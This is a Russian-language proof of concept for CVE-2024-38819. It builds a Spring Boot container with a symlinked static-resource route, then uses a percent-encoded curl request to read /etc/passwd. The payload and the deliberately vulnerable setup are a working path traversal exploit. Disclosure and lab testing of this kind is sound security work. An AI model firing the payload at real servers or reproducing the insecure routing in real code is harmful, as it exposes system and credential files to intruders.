
Это доказательство концепции для уязвимости CVE-2024-38819, о которой я сообщил, демонстрирующее эксплуатацию обхода пути.
Соберите Docker-образ (Spring Boot 3.3.4, на основе Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
Запустите контейнер и пробросьте порт 8080 на хост-машину
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
Выполните следующую команду, чтобы запустить PoC и подтвердить уязвимость
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Если атака успешна, будет отображено содержимое файла /etc/passwd.
Создайте PathTraversalDemoApplication.java со следующим кодом для настройки маршрутизации статических файлов с помощью RouterFunction и FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Добавьте следующую команду в Dockerfile, чтобы создать символическую ссылку:
RUN ln -s /static /app/static/link
Создайте полезную нагрузку, использующую процентное кодирование для обхода каталогов через символическую ссылку.
/static/link/%2e%2e/etc/passwdИспользуйте следующую команду curl для выполнения PoC и проверки успешности атаки:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Если атака успешна, будет отображено содержимое файла /etc/passwd.
Данный PoC предоставлен в образовательных целях и для исследований в области безопасности. Прежде чем использовать его в реальной системе, убедитесь, что уязвимость устранена и у вас есть соответствующие разрешения. Автор не несёт ответственности за любое неправомерное использование этого кода.